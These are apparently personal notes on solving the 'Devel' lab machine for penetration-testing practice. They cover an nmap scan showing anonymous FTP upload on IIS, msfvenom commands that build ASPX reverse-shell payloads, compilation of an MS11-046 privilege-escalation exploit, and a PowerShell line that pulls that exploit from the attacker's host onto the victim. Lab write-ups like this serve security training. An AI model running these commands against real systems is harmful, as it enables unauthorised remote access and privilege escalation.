search

Devel

hashtag
Process

21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5

Went through a lot of exploits, Ethernal blue, iis ftp server attack, none worked

Then realise ftp allow uploading file, then generate payload via [[msfvenom]]: IIS accepts aspx msfvenom -p windows/meterpreter/reverse_tcp LHOST=$HOST LPORT=4444 -f aspx > exploit.aspx But doesn't work with nc listener

Realised because the paylaod is a meterpreter payload, which is not allowed in oscp exam but not compatible with nc listener...

Then use:

msfvenom -p windows/shell_reverse_tcp LHOST=$HOST LPORT=4444 -f aspx > exploit.aspx

Access denied. I am iis apppool/web

Look for Win 7 exploits, found this: https://www.exploit-db.com/exploits/40564

i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Set up http server here in kali, then in powershell of the victim: powershell -c (New-Object Net.WebClient).DownloadFile('http://10.10.14.8/MS11-046.exe', 'exploit.exe')

Got SYSTEM

hashtag
Takeaway

  1. Should have tested whether we can put file to ftp server first

  2. IIS server accepts .aspx/ .asp

PreviousOptimumNextBeep

Last updated